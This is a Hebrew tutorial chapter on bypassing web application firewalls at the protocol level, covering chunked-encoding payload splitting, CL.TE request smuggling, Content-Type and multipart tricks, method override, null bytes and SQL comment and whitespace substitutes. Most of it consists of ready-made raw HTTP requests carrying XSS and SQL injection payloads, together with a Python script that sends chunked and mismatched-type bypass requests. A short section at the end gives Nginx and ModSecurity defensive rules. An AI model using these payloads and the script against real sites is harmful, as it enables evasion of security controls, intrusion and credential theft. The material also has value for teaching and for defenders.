לדלג לתוכן

עקיפה ברמת פרוטוקול - Protocol-level WAF Bypass

הרעיון המרכזי

ה-WAF חייב לפרסר את בקשת ה-HTTP כדי לבדוק אותה. אם נשלח בקשה בצורה שה-WAF מפרסר באופן שונה מהשרת, נוכל להחביא את המטען הזדוני. הפער בין פרסרים (parser differential) הוא הבסיס לכל הטכניקות בפרק זה.


עקיפה באמצעות Chunked Transfer Encoding

כיצד Chunked Encoding עובד

ב-HTTP/1.1, במקום לציין Content-Length, אפשר לשלוח את הגוף בחתיכות (chunks). כל חתיכה מתחילה בגודלה בהקסדצימלי:

POST /search HTTP/1.1
Host: target.com
Transfer-Encoding: chunked

4
test
0

המבנה: גודל בהקס, שורה חדשה, נתונים, שורה חדשה, ואז 0 לסיום.

פיצול מטען בין chunks

POST /search HTTP/1.1
Host: target.com
Transfer-Encoding: chunked

3
q=<
3
scr
3
ipt
9
>alert(1
b
)</script>
0

ה-WAF רואה כל chunk בנפרד ולא מרכיב את התמונה המלאה. השרת מרכיב את כל ה-chunks ומקבל: q=<script>alert(1)</script>

פיצול מטען SQLi

POST /api/data HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked

5
id=1'
7
 UNION
7
SELECT
8
password
b
 FROM user
3
s--
0

השרת מרכיב: id=1' UNION SELECT password FROM users--

טריק Transfer-Encoding מורכב

חלק מה-WAFs לא מטפלים נכון בווריאציות של כותרת Transfer-Encoding:

# רווח לפני הערך
Transfer-Encoding:  chunked

# טאב לפני הערך
Transfer-Encoding:  chunked

# אותיות גדולות
Transfer-Encoding: Chunked

# כותרת כפולה
Transfer-Encoding: chunked
Transfer-Encoding: identity

# עם פרמטר מזויף
Transfer-Encoding: chunked; q=0.5

# שורה חדשה (line folding, deprecated)
Transfer-Encoding:
 chunked

CL.TE ו-TE.CL Smuggling

כאשר גם Content-Length וגם Transfer-Encoding נשלחים, נוצר פער:

# CL.TE: WAF משתמש ב-Content-Length, שרת ב-Transfer-Encoding
POST /search HTTP/1.1
Host: target.com
Content-Length: 6
Transfer-Encoding: chunked

0

q=<script>alert(1)</script>

ה-WAF קורא 6 בתים (0\r\n\r\nq) וחושב שזה הגוף. השרת רואה chunk באורך 0 (סוף), ואז מתחיל לפרסר את הבקשה הבאה שמתחילה ב-q=<script>....


אי-התאמת Content-Type

JSON בגוף עם Content-Type שגוי

POST /api/login HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

{"username":"admin","password":"' OR 1=1--"}

ה-WAF מפרסר כ-form-urlencoded: מפתח = {"username":"admin","password":"' OR 1=1--"}, ערך = ריק. הוא לא מזהה את ה-SQLi בתוך ה-JSON.

השרת (אם מקבל JSON בכל מקרה) מפרסר כ-JSON ומקבל את ה-SQLi.

Content-Type: multipart/form-data

POST /search HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="q"

<script>alert(1)</script>
------WebKitFormBoundary--

חלק מה-WAFs לא בודקים guf של multipart כמו שהם בודקים form-urlencoded.

החלפה מ-form-urlencoded ל-multipart

# בקשה מקורית (נחסמת)
POST /search HTTP/1.1
Content-Type: application/x-www-form-urlencoded

q=<script>alert(1)</script>

# אותה בקשה כ-multipart (עשויה לעבור)
POST /search HTTP/1.1
Content-Type: multipart/form-data; boundary=X

--X
Content-Disposition: form-data; name="q"

<script>alert(1)</script>
--X--

מניפולציית Multipart Boundary

Boundary מורכב

POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----AAAA----BBBB----CCCC----DDDD----EEEE

------AAAA----BBBB----CCCC----DDDD----EEEE
Content-Disposition: form-data; name="file"; filename="test.txt"
Content-Type: text/plain

<script>alert(1)</script>
------AAAA----BBBB----CCCC----DDDD----EEEE--

Boundary עם תווים מיוחדים

# גודל שונות ב-boundary
Content-Type: multipart/form-data; boundary=AaAaAa

# boundary עם מרכאות
Content-Type: multipart/form-data; boundary="----boundary----"

# boundary ארוך מאוד (חלק מה-WAFs חותכים)
Content-Type: multipart/form-data; boundary=AAAAAA....(200 תווים)....AAAAAA

כפל boundaries

POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=first; boundary=second

--second
Content-Disposition: form-data; name="q"

<script>alert(1)</script>
--second--

ה-WAF עשוי להשתמש ב-boundary הראשון (first) ולא למצוא חלקים. השרת עשוי להשתמש באחרון (second) ולפרסר את המטען.


דריסת שיטת HTTP - Method Override

כותרת X-HTTP-Method-Override

# WAF בודק רק GET requests, לא POST
# שולחים POST עם override ל-GET
POST /search?q=<script>alert(1)</script> HTTP/1.1
Host: target.com
X-HTTP-Method-Override: GET
Content-Length: 0

פרמטר _method

ב-frameworks כמו Rails ו-Laravel:

POST /admin/users/1 HTTP/1.1
Content-Type: application/x-www-form-urlencoded

_method=DELETE&confirm=true

השרת מתייחס לבקשה כ-DELETE, אבל ה-WAF רואה POST.

# דריסה עם _method ב-URL
POST /admin/users/1?_method=PUT HTTP/1.1
Content-Type: application/x-www-form-urlencoded

role=admin

כותרות override נוספות

X-HTTP-Method-Override: PUT
X-HTTP-Method: DELETE
X-Method-Override: PATCH

עקיפות ב-HTTP/2

מאפיינים ייחודיים של HTTP/2

פרוטוקול HTTP/2 הוא בינארי (לא טקסטואלי), ותומך ב-header compression (HPACK). חלק מה-WAFs ממירים HTTP/2 ל-HTTP/1.1 לפני בדיקה, ובהמרה נוצרים פערים.

# HTTP/2 מאפשר כותרות עם אותיות קטנות בלבד
# אבל שרתים מסוימים מקבלים גם אותיות גדולות

# HTTP/2 pseudo-headers
:method: POST
:path: /search?q=<script>alert(1)</script>
:authority: target.com

H2C Smuggling

# שדרוג ל-HTTP/2 cleartext
GET / HTTP/1.1
Host: target.com
Upgrade: h2c
Connection: Upgrade, HTTP2-Settings
HTTP2-Settings: AAMAAABkAARAAAAAAAIAAAAA

# WAF עשוי לא לבדוק תעבורה ב-h2c

הזרקת Null Byte

Null byte (%00) מסיים מחרוזות בשפות C-based. חלק מה-WAFs עוצרים לקרוא בנתקלם ב-null byte:

# WAF קורא עד ה-null byte ורואה רק "q=safe"
GET /search?q=safe%00<script>alert(1)</script> HTTP/1.1

# בשפות כמו PHP, ה-null byte לא תמיד מסיים את המחרוזת
# אז השרת מקבל את כל הערך
# null byte ב-path
GET /admin%00.html HTTP/1.1

# WAF רואה בקשה ל-.html (מותר)
# שרת ישן מנתב ל-/admin
# null byte ב-SQLi
GET /page?id=1'%00 UNION SELECT 1-- HTTP/1.1

# WAF רואה id=1' (ללא ה-UNION)
# פרסר SQL מתעלם מ-null byte

הערות SQL לעקיפת כללים מבוססי רווחים

הערות כתחליף רווח

-- WAF חוסם "UNION SELECT" (עם רווח)
-- נשתמש בהערה במקום רווח

UNION/**/SELECT
UNION/*anything here*/SELECT
UNION/*aaa*/SELECT/*bbb*/1

-- דוגמה מלאה
1'/**/UNION/**/SELECT/**/username,password/**/FROM/**/users--

הערות מקוננות (MySQL)

-- MySQL תומך בהערות מקוננות עם סימון מיוחד
/*!UNION*/ /*!SELECT*/ 1
/*!50000UNION*/ /*!50000SELECT*/ 1
-- /*!50000 ... */ מתבצע רק ב-MySQL גרסה 5.00.00 ומעלה

-- דוגמה מלאה
1'/*!50000UNION*//*!50000SELECT*/username,password/*!50000FROM*/users--

הערות בהקשרים שונים

<!-- הערות HTML -->
<scr<!-- comment -->ipt>alert(1)</script>

<!-- הדפדפן מתעלם מההערה בתוך תגית? תלוי בדפדפן -->
// הערות JavaScript
alert/*comment*/(1)

// template literal
`${alert(1)}`

תחליפי רווח - Whitespace Alternatives

תווי רווח חלופיים ב-HTTP

# רווח (0x20) - הסטנדרטי
# טאב (0x09) - מתקבל ברוב הפרסרים
# Line feed (0x0a)
# Carriage return (0x0d)
# Form feed (0x0c)
# Vertical tab (0x0b)

תחליפי רווח ב-SQL

-- טאב במקום רווח
1'%09UNION%09SELECT%091--

-- שורה חדשה במקום רווח
1'%0aUNION%0aSELECT%0a1--

-- Carriage return + Line feed
1'%0d%0aUNION%0d%0aSELECT%0d%0a1--

-- סוגריים כתחליף רווח (MySQL)
1'UNION(SELECT(1))

-- הערות כרווח
1'UNION/**/SELECT/**/1

-- שילוב
1'%09UNION/*%0a*/SELECT%0b1--

תחליפי רווח ב-XSS

<!-- טאב במקום רווח -->
<img%09src=x%09onerror=alert(1)>

<!-- slash כמפריד -->
<svg/onload=alert(1)>

<!-- שורה חדשה -->
<img%0asrc=x%0aonerror=alert(1)>

<!-- form feed -->
<img%0csrc=x%0conerror=alert(1)>

Line Folding - קיפול שורות

טכניקה ישנה שנשמרת בחלק מהשרתים (deprecated ב-HTTP/1.1):

POST /search HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Content-
 Length: 100
Transfer-Encoding:
 chunked

4
q=<s
6
cript>
8
alert(1)
9
</script>
0

כותרת Content-Length מפוצלת לשתי שורות עם רווח בתחילת השורה השנייה. חלק מהפרסרים מכבדים line folding וחלק לא.


דוגמאות מלאות של בקשות HTTP

דוגמה 1 - Chunked + Encoding

POST /api/search HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked

7
q=1%27%20
5
UNION
1

7
%20SELEC
6
T%201--
0

דוגמה 2 - Content-Type Mismatch + HPP

POST /login HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

{"username":"admin","password":"admin","password":"' OR 1=1--"}

דוגמה 3 - Multipart + Null Byte

POST /search HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----bound

------bound
Content-Disposition: form-data; name="q"

safe%00<script>alert(1)</script>
------bound--

דוגמה 4 - Method Override + SQLi

POST /api/users?id=1'%20UNION%20SELECT%20password%20FROM%20users-- HTTP/1.1
Host: target.com
X-HTTP-Method-Override: GET
Content-Length: 0

סקריפט אוטומטי לעקיפה ברמת פרוטוקול

import socket
import ssl

def send_raw_request(host, port, request, use_ssl=False):
    """שליחת בקשת HTTP גולמית"""
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    if use_ssl:
        context = ssl.create_default_context()
        context.check_hostname = False
        context.verify_mode = ssl.CERT_NONE
        sock = context.wrap_socket(sock, server_hostname=host)

    sock.connect((host, port))
    sock.send(request.encode())
    response = b""
    while True:
        data = sock.recv(4096)
        if not data:
            break
        response += data
    sock.close()
    return response.decode(errors='replace')


def chunked_bypass(host, port, path, payload):
    """שליחת מטען מפוצל ב-chunks"""
    # פיצול המטען לחתיכות של 3 בתים
    chunks = [payload[i:i+3] for i in range(0, len(payload), 3)]

    body = ""
    for chunk in chunks:
        body += f"{len(chunk):x}\r\n{chunk}\r\n"
    body += "0\r\n\r\n"

    request = (
        f"POST {path} HTTP/1.1\r\n"
        f"Host: {host}\r\n"
        f"Content-Type: application/x-www-form-urlencoded\r\n"
        f"Transfer-Encoding: chunked\r\n"
        f"\r\n"
        f"{body}"
    )

    return send_raw_request(host, port, request)


def content_type_mismatch(host, port, path, json_payload):
    """שליחת JSON עם Content-Type שגוי"""
    request = (
        f"POST {path} HTTP/1.1\r\n"
        f"Host: {host}\r\n"
        f"Content-Type: application/x-www-form-urlencoded\r\n"
        f"Content-Length: {len(json_payload)}\r\n"
        f"\r\n"
        f"{json_payload}"
    )

    return send_raw_request(host, port, request)


# שימוש
host = "target.com"
port = 80

# עקיפה עם chunked encoding
response = chunked_bypass(host, port, "/search", "q=<script>alert(1)</script>")
print(f"Chunked bypass: {response[:200]}")

# עקיפה עם content-type mismatch
response = content_type_mismatch(
    host, port, "/api/login",
    '{"username":"admin","password":"\' OR 1=1--"}'
)
print(f"Content-Type mismatch: {response[:200]}")

הגנה - פרסור HTTP קפדני

# Nginx - חסימת transfer-encoding חשוד
# דחיית בקשות עם שתי כותרות encoding
if ($http_transfer_encoding ~* "chunked.*chunked") {
    return 400;
}

# דחיית בקשות עם CL ו-TE ביחד
if ($http_content_length != "" ) {
    set $cl_exists 1;
}
if ($http_transfer_encoding != "") {
    set $te_exists 1;
}
# ModSecurity - טיפול בפרוטוקול
# דחיית chunked encoding עם content-length
SecRule REQUEST_HEADERS:Transfer-Encoding "chunked" \
    "chain,id:1001,phase:1,deny"
SecRule REQUEST_HEADERS:Content-Length "!^$" \
    "msg:'Both CL and TE headers present'"

# דחיית method override
SecRule REQUEST_HEADERS:X-HTTP-Method-Override "!^$" \
    "id:1002,phase:1,deny,\
    msg:'Method override attempt'"

# בדיקת content-type consistency
SecRule REQUEST_HEADERS:Content-Type "application/x-www-form-urlencoded" \
    "chain,id:1003,phase:2,deny"
SecRule REQUEST_BODY "^\s*\{" \
    "msg:'JSON body with form content-type'"

עקרונות:
1. פרסור קפדני - לדחות בקשות לא סטנדרטיות
2. עקביות - וידוא ש-Content-Type תואם לגוף
3. חד-משמעיות - דחיית בקשות עם CL ו-TE ביחד
4. חסימת method overrides אם לא נדרשים
5. הגבלת גודל chunks ומספר chunks


סיכום

עקיפות ברמת פרוטוקול מנצלות את ההבדלים בין איך ה-WAF ואיך השרת מפרשים את בקשת ה-HTTP. Chunked encoding, Content-Type mismatch, multipart manipulation, method override, null bytes, והערות SQL - כולם כלים שמנצלים parser differentials. הטכניקות האלו עוצמתיות במיוחד בשילוב עם טכניקות קידוד מהשיעורים הקודמים.